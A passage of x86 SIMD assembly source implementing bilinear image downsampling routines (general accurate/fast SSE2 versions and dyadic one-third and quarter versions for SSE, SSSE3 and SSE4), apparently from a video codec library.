movd xmm1, [r12+rdi] ; xxxxxxba
movd xmm2, [r13+rdi] ; xxxxxxdc
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmulhuw xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
pmaddwd xmm2, xmm1
pshufd xmm1, xmm2, 00000001b
paddd xmm2, xmm1
movdqa xmm1, [add_extra_half]
paddd xmm2, xmm1
psrld xmm2, 15
packuswb xmm2, xmm0
movd ebx, xmm2
mov [r0], bl
inc r0
add r15, r6
paddw xmm3, xmm7 ; inc u
dec rsi
jg FAST_WIDTH
FAST_WIDTH_END:
shr r15, 16
mov bl, [r12+r15]
mov [r0],bl
inc r0
add r14, rbp
add r0, r1
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec r3
jg FAST_HEIGHT
FAST_LAST_ROW:
shr r14, 15
imul r14, r5
add r4, r14
mov r15, 32768
FAST_LAST_ROW_WIDTH:
mov rdi, r15
shr rdi, 16
mov bl, [r4+rdi]
mov [r0],bl
inc r0
add r15, r6
dec r2
jg FAST_LAST_ROW_WIDTH
FAST_LAST_ROW_END:
POP_XMM
pop rbp
pop rbx
pop rdi
pop rsi
pop r15
pop r14
pop r13
pop r12
ret
%elifdef UNIX64
;**************************************************************************************************************
;int GeneralBilinearAccurateDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearAccurateDownsampler_sse2
push r12
push r13
push r14
push r15
push rbx
push rbp
%assign push_num 6
LOAD_7_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
SIGN_EXTENSION r6, r6d
pxor xmm0, xmm0
mov r12d, r6d
and r12d, 32767
mov r13d, r12d
neg r13d
and r13d, 32767
movd xmm1, r12d ; uinc(uiScaleX mod 32767)
movd xmm2, r13d ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 0 uinc -uinc (dword)
pshufd xmm7, xmm1, 01000100b ; xmm7: uinc -uinc uinc -uinc
mov r12, arg8
SIGN_EXTENSION r12, r12d
mov rbp, r12
and r12d, 32767
mov r13d, r12d
neg r13d
and r13d, 32767
movd xmm6, r12d ; vinc(uiScaleY mod 32767)
movd xmm2, r13d ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 0 vinc -vinc (dword)
pshufd xmm6, xmm6, 01010000b ; xmm6: vinc vinc -vinc -vinc
mov r12d, 40003fffh
movd xmm5, r12d
punpcklwd xmm5, xmm0 ; 16384 16383
pshufd xmm5, xmm5, 01000100b ; xmm5: 16384 16383 16384 16383
DOWNSAMPLE:
sub r1, r2 ; stride - width
dec r3
mov r14,16384
pshufd xmm4, xmm5, 01010000b ; initial v to 16384 16384 16383 16383
HEIGHT:
;mov r12, r4
mov r12, r14
shr r12, 15
imul r12, r5
add r12, r4 ; get current row address
mov r13, r12
add r13, r5
mov r15, 16384
mov rax, r2
dec rax
movdqa xmm3, xmm5 ; initial u to 16384 16383 16384 16383
WIDTH:
mov r11, r15
shr r11, 15
movd xmm1, [r12+r11] ; xxxxxxba
movd xmm2, [r13+r11] ; xxxxxxdc
pxor xmm0, xmm0
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
punpcklwd xmm1, xmm0 ; 000d000c000b000a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmaddwd xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
movdqa xmm0, xmm2
pmuludq xmm2, xmm1
psrlq xmm0, 32
psrlq xmm1, 32
pmuludq xmm0, xmm1
paddq xmm2, xmm0
pshufd xmm1, xmm2, 00001110b
paddq xmm2, xmm1
psrlq xmm2, 29
movd ebx, xmm2
inc ebx
shr ebx, 1
mov [r0], bl
inc r0
add r15, r6
paddw xmm3, xmm7 ; inc u
psllw xmm3, 1
psrlw xmm3, 1
dec rax
jg WIDTH
WIDTH_END:
shr r15, 15
mov bl, [r12+r15]
mov [r0],bl
inc r0
add r14, rbp
add r0, r1
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec r3
jg HEIGHT
LAST_ROW:
shr r14, 15
imul r14, r5
add r4, r14
mov r15, 16384
LAST_ROW_WIDTH:
mov r11, r15
shr r11, 15
mov bl, [r4+r11]
mov [r0],bl
inc r0
add r15, r6
dec r2
jg LAST_ROW_WIDTH
LAST_ROW_END:
pop rbp
pop rbx
pop r15
pop r14
pop r13
pop r12
ret
;**************************************************************************************************************
;int GeneralBilinearFastDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearFastDownsampler_sse2
push r12
push r13
push r14
push r15
push rbx
push rbp
%assign push_num 6
LOAD_7_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
SIGN_EXTENSION r6, r6d
pxor xmm0, xmm0
mov r12d, r6d
and r12d, 65535
mov r13d, r12d
neg r13d
and r13d, 65535
movd xmm1, r12d ; uinc(uiScaleX mod 65536)
movd xmm2, r13d ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 uinc 0 -uinc
pshuflw xmm7, xmm1, 10001000b ; xmm7: uinc -uinc uinc -uinc
mov r12, arg8
SIGN_EXTENSION r12, r12d
mov rbp, r12
and r12d, 32767
mov r13d, r12d
neg r13d
and r13d, 32767
movd xmm6, r12d ; vinc(uiScaleY mod 32767)
movd xmm2, r13d ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 vinc 0 -vinc
pshuflw xmm6, xmm6, 10100000b ; xmm6: vinc vinc -vinc -vinc
mov r12d, 80007fffh ; 32768 32767
movd xmm5, r12d
pshuflw xmm5, xmm5, 01000100b ; 32768 32767 32768 32767
FAST_DOWNSAMPLE:
sub r1, r2 ; stride - width
dec r3
mov r14,16384
pshuflw xmm4, xmm5, 01010000b
psrlw xmm4, 1 ; initial v to 16384 16384 16383 16383
FAST_HEIGHT:
mov r12, r14
shr r12, 15
imul r12, r5
add r12, r4 ; get current row address
mov r13, r12
add r13, r5
mov r15, 32768
mov rax, r2
dec rax
movdqa xmm3, xmm5 ; initial u to 32768 32767 32768 32767
FAST_WIDTH:
mov r11, r15
shr r11, 16
movd xmm1, [r12+r11] ; xxxxxxba
movd xmm2, [r13+r11] ; xxxxxxdc
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmulhuw xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
pmaddwd xmm2, xmm1
pshufd xmm1, xmm2, 00000001b
paddd xmm2, xmm1
movdqa xmm1, [add_extra_half]
paddd xmm2, xmm1
psrld xmm2, 15
packuswb xmm2, xmm0
movd ebx, xmm2
mov [r0], bl
inc r0
add r15, r6
paddw xmm3, xmm7 ; inc u
dec rax
jg FAST_WIDTH
FAST_WIDTH_END:
shr r15, 16
mov bl, [r12+r15]
mov [r0],bl
inc r0
add r14, rbp
add r0, r1
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec r3
jg FAST_HEIGHT
FAST_LAST_ROW:
shr r14, 15
imul r14, r5
add r4, r14
mov r15, 32768
FAST_LAST_ROW_WIDTH:
mov r11, r15
shr r11, 16
mov bl, [r4+r11]
mov [r0],bl
inc r0
add r15, r6
dec r2
jg FAST_LAST_ROW_WIDTH
FAST_LAST_ROW_END:
pop rbp
pop rbx
pop r15
pop r14
pop r13
pop r12
ret
%endif
;***********************************************************************
; void DyadicBilinearOneThirdDownsampler_ssse3( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearOneThirdDownsampler_ssse3
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
mov r6, r1 ;Save the tailer for the unasigned size
imul r6, r5
add r6, r0
movdqa xmm7, [r6]
.yloops_onethird_sse3:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
mov r6, r0 ;save base address
; each loop = source bandwidth: 48 bytes
.xloops_onethird_sse3:
; 1st part horizonal loop: x48 bytes
; mem hi<- ->lo
;1st Line Src: xmm0: F * e E * d D * c C * b B * a A
; xmm2: k K * j J * i I * h H * g G * f
; xmm2: * p P * o O * n N * m M * l L *
;
;2nd Line Src: xmm2: F' * e' E' * d' D' * c' C' * b' B' * a' A'
; xmm1: k' K' * j' J' * i' I' * h' H' * g' G' * f'
; xmm1: * p' P' * o' O' * n' N' * m' M' * l' L' *
;=> target:
;: P O N M L K J I H G F E D C B A
;: p o n m l k j i h g f e d c b a
;: P' .. A'
;: p' .. a'
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;1st line
movdqa xmm0, [r2] ;F * e E * d D * c C * b B * a A
movdqa xmm1, xmm0
movdqa xmm5, [shufb_mask_onethird_low_1]
movdqa xmm6, [shufb_mask_onethird_high_1]
pshufb xmm0, xmm5 ;0 0 0 0 0 0 0 0 0 0 F E D C B A -> xmm0
pshufb xmm1, xmm6 ;0 0 0 0 0 0 0 0 0 0 0 e d c b a -> xmm1
movdqa xmm2, [r2+16] ;k K * j J * i I * h H * g G * f
movdqa xmm3, xmm2
movdqa xmm5, [shufb_mask_onethird_low_2]
movdqa xmm6, [shufb_mask_onethird_high_2]
pshufb xmm2, xmm5 ;0 0 0 0 0 K J I H G 0 0 0 0 0 0 -> xmm2
pshufb xmm3, xmm6 ;0 0 0 0 0 k j i h g f 0 0 0 0 0 -> xmm3
paddusb xmm0, xmm2 ;0 0 0 0 0 K J I H G F E D C B A -> xmm0
paddusb xmm1, xmm3 ;0 0 0 0 0 k j i h g f e d c b a -> xmm1
movdqa xmm2, [r2+32] ;* p P * o O * n N * m M * l L *
movdqa xmm3, xmm2
movdqa xmm5, [shufb_mask_onethird_low_3]
movdqa xmm6, [shufb_mask_onethird_high_3]
pshufb xmm2, xmm5 ;P O N M L 0 0 0 0 0 0 0 0 0 0 0 -> xmm2
pshufb xmm3, xmm6 ;p o n m l 0 0 0 0 0 0 0 0 0 0 0 -> xmm3
paddusb xmm0, xmm2 ;P O N M L K J I H G F E D C B A -> xmm0
paddusb xmm1, xmm3 ;p o n m l k j i h g f e d c b a -> xmm1
pavgb xmm0, xmm1 ;1st line average -> xmm0
;2nd line
movdqa xmm2, [r2+r3] ;F' * e' E' * d' D' * c' C' * b' B' * a' A'
movdqa xmm3, xmm2
movdqa xmm5, [shufb_mask_onethird_low_1]
movdqa xmm6, [shufb_mask_onethird_high_1]
pshufb xmm2, xmm5 ;0 0 0 0 0 0 0 0 0 0 F' E' D' C' B' A' -> xmm2
pshufb xmm3, xmm6 ;0 0 0 0 0 0 0 0 0 0 0 e' d' c' b' a' -> xmm3
movdqa xmm1, [r2+r3+16] ;k' K' * j' J' * i' I' * h' H' * g' G' * f'
movdqa xmm4, xmm1
movdqa xmm5, [shufb_mask_onethird_low_2]
movdqa xmm6, [shufb_mask_onethird_high_2]
pshufb xmm1, xmm5 ;0 0 0 0 0 K' J' I' H' G' 0 0 0 0 0 0 -> xmm1
pshufb xmm4, xmm6 ;0 0 0 0 0 k' j' i' h' g' f' 0 0 0 0 0 -> xmm4
paddusb xmm2, xmm1 ;0 0 0 0 0 K' J' I' H' G' F' E' D' C' B' A' -> xmm2
paddusb xmm3, xmm4 ;0 0 0 0 0 k' j' i' h' g' f' e' d' c' b' a' -> xmm3
movdqa xmm1, [r2+r3+32] ; * p' P' * o' O' * n' N' * m' M' * l' L' *
movdqa xmm4, xmm1
movdqa xmm5, [shufb_mask_onethird_low_3]
movdqa xmm6, [shufb_mask_onethird_high_3]
pshufb xmm1, xmm5 ;P' O' N' M' L' 0 0 0 0 0 0 0 0 0 0 0 -> xmm1
pshufb xmm4, xmm6 ;p' o' n' m' l' 0 0 0 0 0 0 0 0 0 0 0 -> xmm4
paddusb xmm2, xmm1 ;P' O' N' M' L' K' J' I' H' G' F' E' D' C' B' A' -> xmm2
paddusb xmm3, xmm4 ;p' o' n' m' l' k' j' i' h' g' f' e' d' c' b' a' -> xmm3
pavgb xmm2, xmm3 ;2nd line average -> xmm2
pavgb xmm0, xmm2 ; bytes-average(1st line , 2nd line )
; write pDst
movdqa [r0], xmm0 ;write result in dst
; next SMB
lea r2, [r2+48] ;current src address
lea r0, [r0+16] ;current dst address
sub r4, 48 ;xloops counter
cmp r4, 0
jg near .xloops_onethird_sse3
sub r6, r0 ;offset = base address - current address
lea r2, [r2+2*r3] ;
lea r2, [r2+r3] ;
lea r2, [r2+2*r6] ;current line + 3 lines
lea r2, [r2+r6]
lea r0, [r0+r1]
lea r0, [r0+r6] ;current dst lien + 1 line
dec r5
jg near .yloops_onethird_sse3
movdqa [r0], xmm7 ;restore the tailer for the unasigned size
%ifndef X86_32
pop r12
%endif
POP_XMM
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearOneThirdDownsampler_sse4( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearOneThirdDownsampler_sse4
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
mov r6, r1 ;Save the tailer for the unasigned size
imul r6, r5
add r6, r0
movdqa xmm7, [r6]
.yloops_onethird_sse4:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
mov r6, r0 ;save base address
; each loop = source bandwidth: 48 bytes
.xloops_onethird_sse4:
; 1st part horizonal loop: x48 bytes
; mem hi<- ->lo
;1st Line Src: xmm0: F * e E * d D * c C * b B * a A
; xmm2: k K * j J * i I * h H * g G * f
; xmm2: * p P * o O * n N * m M * l L *
;
;2nd Line Src: xmm2: F' * e' E' * d' D' * c' C' * b' B' * a' A'
; xmm1: k' K' * j' J' * i' I' * h' H' * g' G' * f'
; xmm1: * p' P' * o' O' * n' N' * m' M' * l' L' *
;=> target:
;: P O N M L K J I H G F E D C B A
;: p o n m l k j i h g f e d c b a
;: P' .. A'
;: p' .. a'
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;1st line
movntdqa xmm0, [r2] ;F * e E * d D * c C * b B * a A
movdqa xmm1, xmm0
movdqa xmm5, [shufb_mask_onethird_low_1]
movdqa xmm6, [shufb_mask_onethird_high_1]
pshufb xmm0, xmm5 ;0 0 0 0 0 0 0 0 0 0 F E D C B A -> xmm0
pshufb xmm1, xmm6 ;0 0 0 0 0 0 0 0 0 0 0 e d c b a -> xmm1
movntdqa xmm2, [r2+16] ;k K * j J * i I * h H * g G * f
movdqa xmm3, xmm2
movdqa xmm5, [shufb_mask_onethird_low_2]
movdqa xmm6, [shufb_mask_onethird_high_2]
pshufb xmm2, xmm5 ;0 0 0 0 0 K J I H G 0 0 0 0 0 0 -> xmm2
pshufb xmm3, xmm6 ;0 0 0 0 0 k j i h g f 0 0 0 0 0 -> xmm3
paddusb xmm0, xmm2 ;0 0 0 0 0 K J I H G F E D C B A -> xmm0
paddusb xmm1, xmm3 ;0 0 0 0 0 k j i h g f e d c b a -> xmm1
movntdqa xmm2, [r2+32] ;* p P * o O * n N * m M * l L *
movdqa xmm3, xmm2
movdqa xmm5, [shufb_mask_onethird_low_3]
movdqa xmm6, [shufb_mask_onethird_high_3]
pshufb xmm2, xmm5 ;P O N M L 0 0 0 0 0 0 0 0 0 0 0 -> xmm2
pshufb xmm3, xmm6 ;p o n m l 0 0 0 0 0 0 0 0 0 0 0 -> xmm3
paddusb xmm0, xmm2 ;P O N M L K J I H G F E D C B A -> xmm0
paddusb xmm1, xmm3 ;p o n m l k j i h g f e d c b a -> xmm1
pavgb xmm0, xmm1 ;1st line average -> xmm0
;2nd line
movntdqa xmm2, [r2+r3] ;F' * e' E' * d' D' * c' C' * b' B' * a' A'
movdqa xmm3, xmm2
movdqa xmm5, [shufb_mask_onethird_low_1]
movdqa xmm6, [shufb_mask_onethird_high_1]
pshufb xmm2, xmm5 ;0 0 0 0 0 0 0 0 0 0 F' E' D' C' B' A' -> xmm2
pshufb xmm3, xmm6 ;0 0 0 0 0 0 0 0 0 0 0 e' d' c' b' a' -> xmm3
movntdqa xmm1, [r2+r3+16] ;k' K' * j' J' * i' I' * h' H' * g' G' * f'
movdqa xmm4, xmm1
movdqa xmm5, [shufb_mask_onethird_low_2]
movdqa xmm6, [shufb_mask_onethird_high_2]
pshufb xmm1, xmm5 ;0 0 0 0 0 K' J' I' H' G' 0 0 0 0 0 0 -> xmm1
pshufb xmm4, xmm6 ;0 0 0 0 0 k' j' i' h' g' f' 0 0 0 0 0 -> xmm4
paddusb xmm2, xmm1 ;0 0 0 0 0 K' J' I' H' G' F' E' D' C' B' A' -> xmm2
paddusb xmm3, xmm4 ;0 0 0 0 0 k' j' i' h' g' f' e' d' c' b' a' -> xmm3
movntdqa xmm1, [r2+r3+32] ; * p' P' * o' O' * n' N' * m' M' * l' L' *
movdqa xmm4, xmm1
movdqa xmm5, [shufb_mask_onethird_low_3]
movdqa xmm6, [shufb_mask_onethird_high_3]
pshufb xmm1, xmm5 ;P' O' N' M' L' 0 0 0 0 0 0 0 0 0 0 0 -> xmm1
pshufb xmm4, xmm6 ;p' o' n' m' l' 0 0 0 0 0 0 0 0 0 0 0 -> xmm4
paddusb xmm2, xmm1 ;P' O' N' M' L' K' J' I' H' G' F' E' D' C' B' A' -> xmm2
paddusb xmm3, xmm4 ;p' o' n' m' l' k' j' i' h' g' f' e' d' c' b' a' -> xmm3
pavgb xmm2, xmm3 ;2nd line average -> xmm2
pavgb xmm0, xmm2 ; bytes-average(1st line , 2nd line )
; write pDst
movdqa [r0], xmm0 ;write result in dst
; next SMB
lea r2, [r2+48] ;current src address
lea r0, [r0+16] ;current dst address
sub r4, 48 ;xloops counter
cmp r4, 0
jg near .xloops_onethird_sse4
sub r6, r0 ;offset = base address - current address
lea r2, [r2+2*r3] ;
lea r2, [r2+r3] ;
lea r2, [r2+2*r6] ;current line + 3 lines
lea r2, [r2+r6]
lea r0, [r0+r1]
lea r0, [r0+r6] ;current dst lien + 1 line
dec r5
jg near .yloops_onethird_sse4
movdqa [r0], xmm7 ;restore the tailer for the unasigned size
%ifndef X86_32
pop r12
%endif
POP_XMM
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearQuarterDownsampler_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearQuarterDownsampler_sse
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $02 ; iSrcHeight >> 2
mov r6, r1 ;Save the tailer for the unasigned size
imul r6, r5
add r6, r0
movq xmm7, [r6]
.yloops_quarter_sse:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
mov r6, r0 ;save base address
; each loop = source bandwidth: 32 bytes
.xloops_quarter_sse:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;
;=> target:
;: G E C A,
;:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [r2] ; 1st pSrc line
movq mm1, [r2+8] ; 1st pSrc line + 8
movq mm2, [r2+r3] ; 2nd pSrc line
movq mm3, [r2+r3+8] ; 2nd pSrc line + 8
pshufw mm0, mm0, 0d8h ; x X x X c C a A
pshufw mm1, mm1, 0d8h ; x X x X g G e E
pshufw mm2, mm2, 0d8h ; x X x X k K i I
pshufw mm3, mm3, 0d8h ; x X x X o O m M
punpckldq mm0, mm1 ; g G e E c C a A
punpckldq mm2, mm3 ; o O m M k K i I
; to handle mm0,mm2
pshufw mm4, mm0, 0d8h ;g G c C e E a A
pshufw mm5, mm4, 04eh ;e E a A g G c C
punpcklbw mm4, mm5 ;g e G E c a C A -> mm4
pshufw mm4, mm4, 0d8h ;g e c a G E C A -> mm4
pshufw mm5, mm2, 0d8h ;o O k K m M i I
pshufw mm6, mm5, 04eh ;m M i I o O k K
punpcklbw mm5, mm6 ;o m O M k i K I
pshufw mm5, mm5, 0d8h ;o m k i O M K I -> mm5
; to handle mm4, mm5
movq mm0, mm4
punpckldq mm0, mm6 ;x x x x G E C A
punpckhdq mm4, mm6 ;x x x x g e c a
movq mm1, mm5
punpckldq mm1, mm6 ;x x x x O M K I
punpckhdq mm5, mm6 ;x x x x o m k i
; avg within MB horizon width (8 x 2 lines)
pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm1, mm5 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
; 2nd part horizonal loop: x16 bytes
movq mm1, [r2+16] ; 1st pSrc line + 16
movq mm2, [r2+24] ; 1st pSrc line + 24
movq mm3, [r2+r3+16] ; 2nd pSrc line + 16
movq mm4, [r2+r3+24] ; 2nd pSrc line + 24
pshufw mm1, mm1, 0d8h
pshufw mm2, mm2, 0d8h
pshufw mm3, mm3, 0d8h
pshufw mm4, mm4, 0d8h
punpckldq mm1, mm2
punpckldq mm3, mm4
; to handle mm1, mm3
pshufw mm4, mm1, 0d8h
pshufw mm5, mm4, 04eh
punpcklbw mm4, mm5
pshufw mm4, mm4, 0d8h
pshufw mm5, mm3, 0d8h
pshufw mm6, mm5, 04eh
punpcklbw mm5, mm6
pshufw mm5, mm5, 0d8h
; to handle mm4, mm5
movq mm2, mm4
punpckldq mm2, mm6
punpckhdq mm4, mm6
movq mm3, mm5
punpckldq mm3, mm6
punpckhdq mm5, mm6
; avg within MB horizon width (8 x 2 lines)
pavgb mm2, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm3, mm5 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm2, mm3 ; (temp_row1+temp_row2+1)>>1, done in another 2nd horizonal part
movd [r0 ], mm0
movd [r0+4], mm2
; next SMB
lea r2, [r2+32]
lea r0, [r0+8]
sub r4, 32
cmp r4, 0
jg near .xloops_quarter_sse
sub r6, r0
; next line
lea r2, [r2+4*r3] ; next 4 end of lines
lea r2, [r2+4*r6] ; reset to base 0 [- 4 * iDstWidth]
lea r0, [r0+r1]
lea r0, [r0+r6] ; reset to base 0 [- iDstWidth]
dec r5
jg near .yloops_quarter_sse
movq [r0], xmm7 ;restored the tailer for the unasigned size
WELSEMMS
%ifndef X86_32
pop r12
%endif
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearQuarterDownsampler_ssse3( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearQuarterDownsampler_ssse3
;push ebx
;push edx
;push esi
;push edi
;push ebp
;mov edi, [esp+24] ; pDst
;mov edx, [esp+28] ; iDstStride
;mov esi, [esp+32] ; pSrc
;mov ecx, [esp+36] ; iSrcStride
;mov ebp, [esp+44] ; iSrcHeight
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $02 ; iSrcHeight >> 2
mov r6, r1 ;Save the tailer for the unasigned size
imul r6, r5
add r6, r0
movq xmm7, [r6]
movdqa xmm6, [shufb_mask_quarter]
.yloops_quarter_sse3:
;mov eax, [esp+40] ; iSrcWidth
;sar eax, $02 ; iSrcWidth >> 2
;mov ebx, eax ; iDstWidth restored at ebx
;sar eax, $04 ; (iSrcWidth >> 2) / 16 ; loop count = num_of_mb
;neg ebx ; - (iSrcWidth >> 2)
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
mov r6, r0
; each loop = source bandwidth: 32 bytes
.xloops_quarter_sse3:
; 1st part horizonal loop: x32 bytes
; mem hi<- ->lo
;1st Line Src: xmm0: h H g G f F e E d D c C b B a A
; xmm1: p P o O n N m M l L k K j J i I
;2nd Line Src: xmm2: h H g G f F e E d D c C b B a A
; xmm3: p P o O n N m M l L k K j J i I
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movdqa xmm0, [r2] ; 1st_src_line
movdqa xmm1, [r2+16] ; 1st_src_line + 16
movdqa xmm2, [r2+r3] ; 2nd_src_line
movdqa xmm3, [r2+r3+16] ; 2nd_src_line + 16
pshufb xmm0, xmm6 ;1st line: 0 0 0 0 g e c a 0 0 0 0 G E C A
pshufb xmm1, xmm6 ;1st line: 0 0 0 0 o m k i 0 0 0 0 O M K I
pshufb xmm2, xmm6 ;2nd line: 0 0 0 0 g e c a 0 0 0 0 G E C A
pshufb xmm3, xmm6 ;2nd line: 0 0 0 0 o m k i 0 0 0 0 O M K I
movdqa xmm4, xmm0
movdqa xmm5, xmm2
punpckldq xmm0, xmm1 ;1st line: 0 0 0 0 0 0 0 0 O M K I G E C A -> xmm0
punpckhdq xmm4, xmm1 ;1st line: 0 0 0 0 0 0 0 0 o m k i g e c a -> xmm4
punpckldq xmm2, xmm3 ;2nd line: 0 0 0 0 0 0 0 0 O M K I G E C A -> xmm2
punpckhdq xmm5, xmm3 ;2nd line: 0 0 0 0 0 0 0 0 o m k i g e c a -> xmm5
pavgb xmm0, xmm4
pavgb xmm2, xmm5
pavgb xmm0, xmm2 ;average
; write pDst
movq [r0], xmm0
; next SMB
lea r2, [r2+32]
lea r0, [r0+8]
sub r4, 32
cmp r4, 0
jg near .xloops_quarter_sse3
sub r6, r0
; next line
lea r2, [r2+4*r3] ; next end of lines
lea r2, [r2+4*r6] ; reset to base 0 [- 4 * iDstWidth]
lea r0, [r0+r1]
lea r0, [r0+r6] ; reset to base 0 [- iDstWidth]
dec r5
jg near .yloops_quarter_sse3
movq [r0], xmm7 ;restored the tailer for the unasigned size
%ifndef X86_32
pop r12
%endif
POP_XMM
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearQuarterDownsampler_sse4( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearQuarterDownsampler_sse4
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $02 ; iSrcHeight >> 2
mov r6, r1 ;Save the tailer for the unasigned size
imul r6, r5
add r6, r0
movq xmm7, [r6]
movdqa xmm6, [shufb_mask_quarter] ;mask
.yloops_quarter_sse4:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
mov r6, r0
; each loop = source bandwidth: 32 bytes
.xloops_quarter_sse4:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: xmm0: h H g G f F e E d D c C b B a A
; xmm1: p P o O n N m M l L k K j J i I
;2nd Line Src: xmm2: h H g G f F e E d D c C b B a A
; xmm3: p P o O n N m M l L k K j J i I
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movntdqa xmm0, [r2] ; 1st_src_line
movntdqa xmm1, [r2+16] ; 1st_src_line + 16
movntdqa xmm2, [r2+r3] ; 2nd_src_line
movntdqa xmm3, [r2+r3+16] ; 2nd_src_line + 16
pshufb xmm0, xmm6 ;1st line: 0 0 0 0 g e c a 0 0 0 0 G E C A
pshufb xmm1, xmm6 ;1st line: 0 0 0 0 o m k i 0 0 0 0 O M K I
pshufb xmm2, xmm6 ;2nd line: 0 0 0 0 g e c a 0 0 0 0 G E C A
pshufb xmm3, xmm6 ;2nd line: 0 0 0 0 o m k i 0 0 0 0 O M K I
movdqa xmm4, xmm0
movdqa xmm5, xmm2
